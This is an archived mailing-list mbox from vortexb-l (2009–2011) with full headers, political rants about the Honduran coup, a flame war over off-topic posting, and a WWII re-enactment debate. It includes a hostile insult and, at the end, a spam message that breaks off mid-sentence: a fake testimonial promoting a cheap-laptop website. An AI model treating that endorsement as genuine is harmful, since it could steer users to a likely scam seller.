Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkpHp2IACgkQB9bXLLhitTNt6QCePT8kPDgo1+JHZMvGJXchEH7l b1UAn0O8Eu/KpsWTyVRGIb20F0PYeP3k =6eS9 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 28 10:44:21 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5SHiI3s015315; Sun, 28 Jun 2009 10:44:18 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5SHiI9o015308; Sun, 28 Jun 2009 10:44:18 -0700 Resent-Date: Sun, 28 Jun 2009 10:44:18 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 28 Jun 2009 10:44:09 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:U.S. State Department -- and Pentagon -- busy little beavers today... Message-ID: <20090628174408.GL4741@shell.resist.ca> Reply-To: grok@resist.ca References: <20090628172450.GK4741@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <20090628172450.GK4741@shell.resist.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Russia, Inspector General of Intelligence and Security, F-117, GLONASS, 747-8 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4419 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 661 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 But "al-Jazeera" -- in reality a BBC franchise -- is still the bourgeois nooze, with the bourgeois angle on things. So here's the REAL news instead: OBAMA'S FIRST COUP D'ETAT: HONDURAN PRESIDENT HAS BEEN KIDNAPPED: - -- grok. As the smoke cleared, grok mounted the barricade and roared out: > > > Isn't "Democracy" grand, eh fellas..? Your tax shekels at work. > 'We had to destroy the country in order to save it', etc., etc., yadda. > > > -- grok. > > > > HONDURAS PRESIDENT CONDEMNS 'PLOT': > > > > > > > > > -- > Beware the bait & switch fraud: "Social Justice" is NOT Socialism! > > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkpHq+gACgkQB9bXLLhitTObrgCfQDNc4bD03ttzO3N39N7VOZ1j WaEAn15WZzaeT3XAjr4A7fqXNwrWVfny =zhCp -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed Jul 8 14:23:49 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n68LNk5K026436; Wed, 8 Jul 2009 14:23:47 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n68LNk0e026426; Wed, 8 Jul 2009 14:23:46 -0700 Resent-Date: Wed, 8 Jul 2009 14:23:46 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Belgacom-Dynamic: yes X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al4BABSrVEpQyZpK/2dsb2JhbAAI0WCECAU Message-ID: <4A550E69.80001@buldelium.com> Date: Wed, 08 Jul 2009 23:23:53 +0200 From: Robert Hoffmann Reply-To: robert.hoffmann@buldelium.com User-Agent: Thunderbird 2.0.0.22 (Windows/20090605) MIME-Version: 1.0 To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4420 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: O X-Status: X-Keywords: X-UID: 662 From vortexb-l-request@eskimo.com Wed Jul 8 20:24:34 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n693OVV9030492; Wed, 8 Jul 2009 20:24:31 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n693OUQ4030474; Wed, 8 Jul 2009 20:24:30 -0700 Resent-Date: Wed, 8 Jul 2009 20:24:30 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <446d94558a.4558a446d9@ncf.ca> Date: Wed, 08 Jul 2009 23:24:28 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4421 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Dividend Economics and the Basic Income Guarantee: A Bailout for the People Status: RO X-Status: X-Keywords: X-UID: 663 The Cook Plan (2 minute video) http://www.youtube.com/watch?v=gS9a7xH-DBc&feature=related Richard C. Cook proposes "A Bailout for the People: Dividend Economics and the Basic Income Guarantee." Cook is a former analyst for the U.S. federal government. His book on monetary reform "We Hold These Truths: The Hope of Monetary Reform" is available at www.amazon.com. He can be contacted at www.richardccook.com Radio interview with Richard Cook (10 minutes) http://www.youtube.com/watch?v=ztb9eYysk_g&feature=related Richard C Cook how about A Bailout for the People. Part 3 On February 27, 2009, he will be presenting his views on solutions to the problem in a paper entitled Dividend Economics and the Basic Income Guarantee: A Bailout for the People From vortexb-l-request@eskimo.com Sun Jul 12 01:52:57 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n6C8qs6B009434; Sun, 12 Jul 2009 01:52:54 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n6C8qrUG009425; Sun, 12 Jul 2009 01:52:53 -0700 Resent-Date: Sun, 12 Jul 2009 01:52:53 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=BYL/6EaFrqfOHEcGf4GnUvtL3K/BlAVgQYzgT7hZ+iM=; b=Np8iaywXzcI/JmZnitIcfvgxc4lxcwMmDz2kzI70uPfkqk/DknzckiWCxira7gU09v wYz+R0tToOwuTDf8iS0op0n9EU5gVszOO0l+BXaaiVmJgwv3siNU0WDPu9dU5d22grJG hWADrBasxv5hbZLdbPXfFbiDUMMrkwhGt7Isk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=N5a7UCOr9psdt5/o4LBdCNbg9o18kiLO7vrgM7HID+k2Q+aHOPZ28lHER5QdZqkFW2 hK8Pv3+6xNq5o2fX+v0SerAzVuuvZ4F7/GqXxBEycZtOHJFJslK4f68IpOc+gBjmfqSQ laz9K46XgOSf14cYyvWCyqDVEiSSFMO0YhILQ= Date: Sun, 12 Jul 2009 04:52:53 -0400 From: Pete Bogham To: vortexb-l@eskimo.com Message-Id: <20090712045253.8c976368.peatbogham@gmail.com> In-Reply-To: <4A59462D.8070708@pobox.com> References: <4A577430.6010603@pobox.com> <7.0.1.0.2.20090710132159.039a2230@gmail.com> <4A57830A.2030204@pobox.com> <7.0.1.0.2.20090710141408.039e3d80@gmail.com> <4A5797F0.1040700@pobox.com> <4A589CAA.1000407@lacy.com.ar> <4A59462D.8070708@pobox.com> X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4422 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:More From the Steorn Jury Status: O X-Status: X-Keywords: X-UID: 664 On Sat, 11 Jul 2009 22:10:53 -0400 "Stephen A. Lawrence" wrote: > > This is wildly OFF TOPIC, it's provocative politics of the worst sort, > it appears in this message unsupported by anything except your bald > assertion. The discussion in this thread had to do with Madoff as a > model for scammers in other areas, which is certainly relevant to the > 'free energy' field. > > However, Mauro's dialectical twist on it is something else. We have > heard all this junk about the "corruption within the system" being the > root of all evil, very recently, from Grok. We have no need to hear it > all over again from Mauro. > > PLEASE KEEP THIS GARBAGE OFF VORTEX. Or post it to vortexb. I subscribe to vortexb and have seen only 2 or 3 messages there in the past 3 weeks. It is an empty field, waiting to be filled with this political stuff. Why not make use of it if you have to? From vortexb-l-request@eskimo.com Sun Jul 12 03:01:25 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n6CA1O2D014385; Sun, 12 Jul 2009 03:01:24 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n6CA1MI2014374; Sun, 12 Jul 2009 03:01:22 -0700 Resent-Date: Sun, 12 Jul 2009 03:01:22 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=uu25sjYO1CklXaQVIZS8So+T1FW0LSrtsN39/NEtcn0=; b=jY7yCIgnZ17TkejxShfw4FNgCBue1g+yT0ygTczI41xeRQo5VPAD3gryyJjPJZf0cq /DAHQNCS+xYVqsv9cP4OPwi6jHp2U19EaBBAYhH8CI46qQVOJ2Mx0tLZUUd+eTs9JrNi 7/9zbzHN6cV3O5mhb3qdasJlxlBKnGcbXcUxU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=idUxcNdz6wAueMP+zyKgrtDkcdVVwiBpX3bOWvPzN+BqPTiK+Z5mux+mFIt6rnqlTU zdk7C2vVK0JcmspVobXEgl9EzwVEmtmiTY96UhiQ+tXkd6aS4BM0IXJOZ65EMiAJao7e vBjZ82iPRqcmmEoeZBqK2QzFmGDqmR8MM6mVU= Date: Sun, 12 Jul 2009 06:01:20 -0400 From: Pete Bogham To: vortexb-l@eskimo.com Message-Id: <20090712060120.89bb42df.peatbogham@gmail.com> In-Reply-To: <4A594F4A.1090407@pobox.com> References: <4A577430.6010603@pobox.com> <7.0.1.0.2.20090710132159.039a2230@gmail.com> <4A57830A.2030204@pobox.com> <7.0.1.0.2.20090710141408.039e3d80@gmail.com> <4A5797F0.1040700@pobox.com> <4A589CAA.1000407@lacy.com.ar> <4A59462D.8070708@pobox.com> <4A594F4A.1090407@pobox.com> X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4423 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:More From the Steorn Jury Status: O X-Status: X-Keywords: X-UID: 665 On Sat, 11 Jul 2009 22:49:46 -0400 "Stephen A. Lawrence" wrote: > I'm no doubt overreacting but the tone here is enough like Grok to make > one wonder if one of the two was a sock puppet. (Note that Grok's > English was intentionally so mis-spelled and mis-formed that he could > very well have spoken it as a second language, and we might not have known.) I think you may be on to something. If it isn't Grok, it might as well be. If people can't stop themselves from being sucked in to some fanatic's world, they can at least reply to vortexb and let the post take on its own life there, while leaving vortex free of the crap. From vortexb-l-request@eskimo.com Sun Jul 12 07:34:22 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n6CEYKsM001415; Sun, 12 Jul 2009 07:34:21 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n6CEYJGZ001410; Sun, 12 Jul 2009 07:34:19 -0700 Resent-Date: Sun, 12 Jul 2009 07:34:19 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=pElPjhMzT5StUA4gIvESpqtxI948LLQMxa1eC1le+gU=; b=MB4DbWPRJyT6YcdUrxLwMkRqcVnqZQX6nXbSiYnyuUUJ+5Ph63sGEBfK1jL7xaMf7L 1g273/akb2lEAlPQ4jqqSN7KvXJ5rTwLmwz2gVa4f3IoUix469oJkmJPRcyPki3N5s7I jfZ9Y6lPsYp2j6ulW3+GGeJKc6KK/G0Ca9SZk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=YIhbINZyyAyyIDWkcwqRUfFVVAZhiAiB4/8NLK/RhjG01fJZ6blLB1AtMdJNQzurrN PAB/teyZnbk5vytYRb6T/MDWzh0IbEE1ba0zPoqOVEGGVoBCiI1afrirk5GyplR8ZICY HYIKHP8fStw1QnEnOBW0XNlLlGRaa66ZuJSJQ= Date: Sun, 12 Jul 2009 10:34:17 -0400 From: Pete Bogham To: vortexb-l@eskimo.com Message-Id: <20090712103417.73fcff43.peatbogham@gmail.com> In-Reply-To: <8C8DFB78-8145-4623-A2BC-2AC36F476816@ix.netcom.com> References: <4A577430.6010603@pobox.com> <7.0.1.0.2.20090710132159.039a2230@gmail.com> <4A57830A.2030204@pobox.com> <7.0.1.0.2.20090710141408.039e3d80@gmail.com> <4A5797F0.1040700@pobox.com> <4A589CAA.1000407@lacy.com.ar> <4A59462D.8070708@pobox.com> <4A59D4A2.2040401@lacy.com.ar> <8C8DFB78-8145-4623-A2BC-2AC36F476816@ix.netcom.com> X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4424 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:More From the Steorn Jury Status: O X-Status: X-Keywords: X-UID: 666 On Sun, 12 Jul 2009 08:05:19 -0600 Edmund Storms wrote: > In addition, you > are using the word scapegoat incorrectly. And you are inviting him to reply with more political crap. Why not take this to vortexb, and you and Mauro can frolic all day? From vortexb-l-request@eskimo.com Sun Jul 12 08:43:21 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n6CFhE7D027246; Sun, 12 Jul 2009 08:43:18 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n6CFhAVc027220; Sun, 12 Jul 2009 08:43:10 -0700 Resent-Date: Sun, 12 Jul 2009 08:43:10 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 12 Jul 2009 08:42:59 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:More From the Steorn Jury Message-ID: <20090712154259.GA26707@shell.resist.ca> Reply-To: grok@resist.ca References: <4A577430.6010603@pobox.com> <7.0.1.0.2.20090710132159.039a2230@gmail.com> <4A57830A.2030204@pobox.com> <7.0.1.0.2.20090710141408.039e3d80@gmail.com> <4A5797F0.1040700@pobox.com> <4A589CAA.1000407@lacy.com.ar> <4A59462D.8070708@pobox.com> <4A59D4A2.2040401@lacy.com.ar> <8C8DFB78-8145-4623-A2BC-2AC36F476816@ix.netcom.com> <20090712103417.73fcff43.peatbogham@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20090712103417.73fcff43.peatbogham@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Pandur I, SM-3, RAMjet, rocket-propelled grenade, USS Mount Whitney User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4425 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 667 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Pete Bogham mounted the barricade and roared out: > On Sun, 12 Jul 2009 08:05:19 -0600 > Edmund Storms wrote: > > In addition, you > > are using the word scapegoat incorrectly. > > And you are inviting him to reply with more political crap. Why > not take this to vortexb, and you and Mauro can frolic all day? Oh, goody!! More Stürm und Drang on vortex-l!! - -- grok. - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkpaBIMACgkQB9bXLLhitTNl1ACeNUetBxCzvgeioOZCB13m7VrM fRkAoJRJlcJFqoCZWvAfMjHU/gfp5vzc =yX40 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jul 12 08:46:14 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n6CFkApq030559; Sun, 12 Jul 2009 08:46:10 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n6CFkAm8030550; Sun, 12 Jul 2009 08:46:10 -0700 Resent-Date: Sun, 12 Jul 2009 08:46:10 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 12 Jul 2009 08:46:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:More From the Steorn Jury Message-ID: <20090712154600.GB26707@shell.resist.ca> Reply-To: grok@resist.ca References: <4A577430.6010603@pobox.com> <7.0.1.0.2.20090710132159.039a2230@gmail.com> <4A57830A.2030204@pobox.com> <7.0.1.0.2.20090710141408.039e3d80@gmail.com> <4A5797F0.1040700@pobox.com> <4A589CAA.1000407@lacy.com.ar> <4A59462D.8070708@pobox.com> <4A594F4A.1090407@pobox.com> <20090712060120.89bb42df.peatbogham@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <20090712060120.89bb42df.peatbogham@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Pandur I, SM-3, RAMjet, rocket-propelled grenade, USS Mount Whitney User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4426 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 668 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Pete Bogham mounted the barricade and roared out: > > On Sat, 11 Jul 2009 22:49:46 -0400 > "Stephen A. Lawrence" wrote: > > > > I'm no doubt overreacting but the tone here is enough like Grok to make > > one wonder if one of the two was a sock puppet. (Note that Grok's > > English was intentionally so mis-spelled and mis-formed that he could > > very well have spoken it as a second language, and we might not have known.) > > I think you may be on to something. If it isn't Grok, it might as > well be. If people can't stop themselves from being sucked in to > some fanatic's world, they can at least reply to vortexb and let > the post take on its own life there, while leaving vortex free of > the crap. You know, you pompous, deluded asses really deserve all the world of hurt coming your way. - -- grok. - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkpaBTgACgkQB9bXLLhitTO1SQCgimLn5IVOzzlvK+6PWNGruTzA pUgAmQFnBf2il4KK2B/0UldptuY94F7s =ER5C -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu Jul 23 08:43:22 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n6NFhIbs017045; Thu, 23 Jul 2009 08:43:19 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n6NFh0vJ016987; Thu, 23 Jul 2009 08:43:00 -0700 Resent-Date: Thu, 23 Jul 2009 08:43:00 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Belgacom-Dynamic: yes X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgBAEwgaEpR89wZ/2dsb2JhbAAI0w+EDQU Message-ID: <4A68850B.9010405@buldelium.com> Date: Thu, 23 Jul 2009 17:43:07 +0200 From: Robert Hoffmann Reply-To: robert.hoffmann@buldelium.com User-Agent: Thunderbird 2.0.0.22 (Windows/20090605) MIME-Version: 1.0 To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4427 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: RO X-Status: X-Keywords: X-UID: 669 unsubscribe From vortexb-l-request@eskimo.com Sat Oct 23 13:30:48 2010 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id o9NKUj5x027135; Sat, 23 Oct 2010 13:30:45 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id o9NKUTQ4026978; Sat, 23 Oct 2010 13:30:29 -0700 Resent-Date: Sat, 23 Oct 2010 13:30:29 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApsEAB/jwkzO+Ihr/2dsb2JhbACiYLp7hUgE X-IronPort-AV: E=Sophos;i="4.58,228,1286164800"; d="scan'208";a="80508196" Date: Sat, 23 Oct 2010 16:30:27 -0400 From: peatbog To: vortexb-l@eskimo.com Message-Id: <20101023163027.4f800e1e.peatbog@teksavvy.com> In-Reply-To: <0618E9D2-1DD4-4DC8-B1DE-19E49CAEE0F1@ix.netcom.com> References: <20101023154824.5793662d.peatbog@teksavvy.com> <0618E9D2-1DD4-4DC8-B1DE-19E49CAEE0F1@ix.netcom.com> X-Mailer: Sylpheed 3.0.2 (GTK+ 2.20.1; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: <-wZWPC.A.TlG.lX0wMB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4428 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:No one would DARE try to replicate Vyosotski Status: O X-Status: X-Keywords: X-UID: 670 > Good point, but what would you say about me if I wanted to > reenact satanic rituals or the killing of JFK? Would this be > ok? I might wonder about the satanic rituals, depending, but WW2 was such an immensely important historical event that, humans being humans, they will want to re-enact it for hundreds of years - it was interesting to me to find out that people do re-enactments of battles from the seven-years war - probably do them for the Battle of Hastings. > Don't you wonder why Lott chose to be German rather than > pretend to be British. No, because it is obvious that if you are involved in such re-enactments, every side will have its own interest and perspective. Are you proposing that a list of everyone who chose to be on the German side of the re-enactment be written down for later consideration? Why in heaven's name would you care which side Lott, or anyone, took? > The Nazis were so abhorrent and insane > that any connection must be avoided at all costs. The war ended 65 years ago. The nazis are no more abhorrent or insane to me than Stalin's barbaric soldiers, or the British and American politicians who ordered the carpet-bombing of German cities, including Dresden. I realize that to some small minority or two, they are more abhorrent than....well, than just about anything; but I am not a member of those minorities and don't see why I should kowtow to them. > Lott > obviously does not share this opinion even though he may not > agree with the Nazi goals. Good for him. From vortexb-l-request@eskimo.com Sat Jan 8 01:32:19 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id p089WDG4020778; Sat, 8 Jan 2011 01:32:17 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id p089W8tx020764; Sat, 8 Jan 2011 01:32:08 -0800 Resent-Date: Sat, 8 Jan 2011 01:32:08 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:received:date:message-id :subject:from:content-type; bh=JKOmYM4uA1TA6ojKA+G3jQZ8mHd0cHtZCqX7QI4jeIs=; b=lKBWkONlvDxrkqXh7/+MxPu27msbu+3Ye5wQuC707QshrQKB6tvmdeuOJAz0mZjXih MByDVmKAo+um4R6vOJVJfbIQeCHEgRuhEHM88FLFYPrcpRMFcHIH1VpvOfwVmVPOe6Xq AT0fD+E6gvuFkOxy6Nv59XdzOKv5Ui+MlSoJM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:content-type; b=IqNH7gDzR+IxtE8M6kkaefS/DoAioFHISo96528nh8YPn3p+MfW7BDzYcqe6nHAPbs bcJ8as+CjZXAwx6JVh1OvgbQ6TgkUj8s9PLAoZsFGkP7oVf2cFDFhIcZJu20GkT3OIbj cEuYxVhc5iLaezLH1nZ1cQfGqoZmifPqHBs6g= MIME-Version: 1.0 Date: Sat, 8 Jan 2011 17:31:53 +0800 Message-ID: From: John Berry Content-Type: multipart/alternative; boundary=001485f85e8a2fc95b04995269f0 Resent-Message-ID: To: vortexb-l@eskimo.com Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4429 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:hello Status: O X-Status: X-Keywords: X-UID: 671 --001485f85e8a2fc95b04995269f0 Content-Type: text/plain; charset=ISO-8859-1 hello Just a couple of days ago we bought an Apple MacBook Pro MC024LL/Afrom ! this website www.xmas-carnival.com It is indeed a fantastic machine, though it will take some time to get used to the new system. Wireles mouse and keyboard. Nice design. and I love it. I paid $1260US all charges included the chose to use the Core 2 Duo but that's not all bad. This is a stable, cool running, capable processor. I use this mostly for work where stability, battery life, portability, and longevity are the most important things to me. I rarely 